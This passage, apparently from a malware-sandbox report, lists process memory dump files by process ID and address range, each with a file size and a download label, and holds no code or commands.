                        • memory/4364-1433-0x0000000000790000-0x0000000000AB5000-memory.dmp

                          Filesize

                          3.1MB

                          Download

                        • memory/4364-73-0x0000000000790000-0x0000000000AB5000-memory.dmp

                          Filesize

                          3.1MB

                          Download

                        • memory/4364-74-0x0000000000790000-0x0000000000AB5000-memory.dmp

                          Filesize

                          3.1MB

                          Download

                        • memory/4512-75-0x0000000000400000-0x000000000064B000-memory.dmp

                          Filesize

                          2.3MB

                          Download

                        • memory/4556-1439-0x0000000000790000-0x0000000000AB5000-memory.dmp

                          Filesize

                          3.1MB

                          Download

                        • memory/4556-1488-0x0000000000790000-0x0000000000AB5000-memory.dmp

                          Filesize

                          3.1MB

                          Download

                        • memory/4656-228-0x0000000000690000-0x0000000000B25000-memory.dmp

                          Filesize

                          4.6MB

                          Download

                        • memory/4656-224-0x0000000000690000-0x0000000000B25000-memory.dmp

                          Filesize

                          4.6MB

                          Download

                        • memory/5008-247-0x0000000000400000-0x0000000000C79000-memory.dmp

                          Filesize

                          8.5MB

                          Download

                        • memory/5008-998-0x0000000000400000-0x0000000000C79000-memory.dmp

                          Filesize

                          8.5MB

                          Download

                        • memory/5008-1016-0x0000000000400000-0x0000000000C79000-memory.dmp

                          Filesize

                          8.5MB

                          Download

                        • memory/5008-206-0x0000000000400000-0x0000000000C79000-memory.dmp

                          Filesize

                          8.5MB

                          Download

                        • memory/5008-174-0x0000000000400000-0x0000000000C79000-memory.dmp

                          Filesize

                          8.5MB

                          Download

                        • memory/5008-199-0x0000000010000000-0x000000001001C000-memory.dmp

                          Filesize

                          112KB

                          Download

                        • memory/5532-1331-0x00000000007D0000-0x0000000000827000-memory.dmp

                          Filesize

                          348KB

                          Download

                        • memory/6828-3331-0x0000000000790000-0x0000000000AB5000-memory.dmp

                          Filesize

                          3.1MB

                          Download

                        • memory/6828-3332-0x0000000000790000-0x0000000000AB5000-memory.dmp

                          Filesize

                          3.1MB

                          Download